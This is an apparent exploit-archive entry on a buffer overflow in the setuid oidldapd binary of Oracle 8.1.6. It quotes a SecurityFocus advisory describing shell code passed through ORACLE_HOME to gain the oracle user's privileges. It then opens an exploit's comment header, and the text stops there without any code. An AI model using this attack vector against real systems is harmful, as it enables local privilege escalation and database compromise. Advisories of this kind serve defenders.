Oracle8.1.6版本oidldapd存在缓冲区溢出漏洞。本地用户借助超长”connect”命令行参数提升特权。

source: http://www.securityfocus.com/bid/1828/info

Oracle Internet Directory 2.0.6 is a pre-alpha development release, available as both an addon package and in the Oracle Database Software release 8.1.6. A vulnerability has been found in the oidldap binary within the package.

A buffer overflow exists in the oidldap binary, which is setuid oracle. When executed on the command line, the oidldap binary performs an unsafe check of the ORACLE_HOME environment variable. It is possible for a malicous user to execute shell code through the ORACLE_HOME environment variable, allowing the user to inherit an euid of oracle. In a stock installation of Oracle 8.1.6, this could create a scenario which would allow a local user to compromise the integrity of a database.

/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:   any user gain euid=oracle.
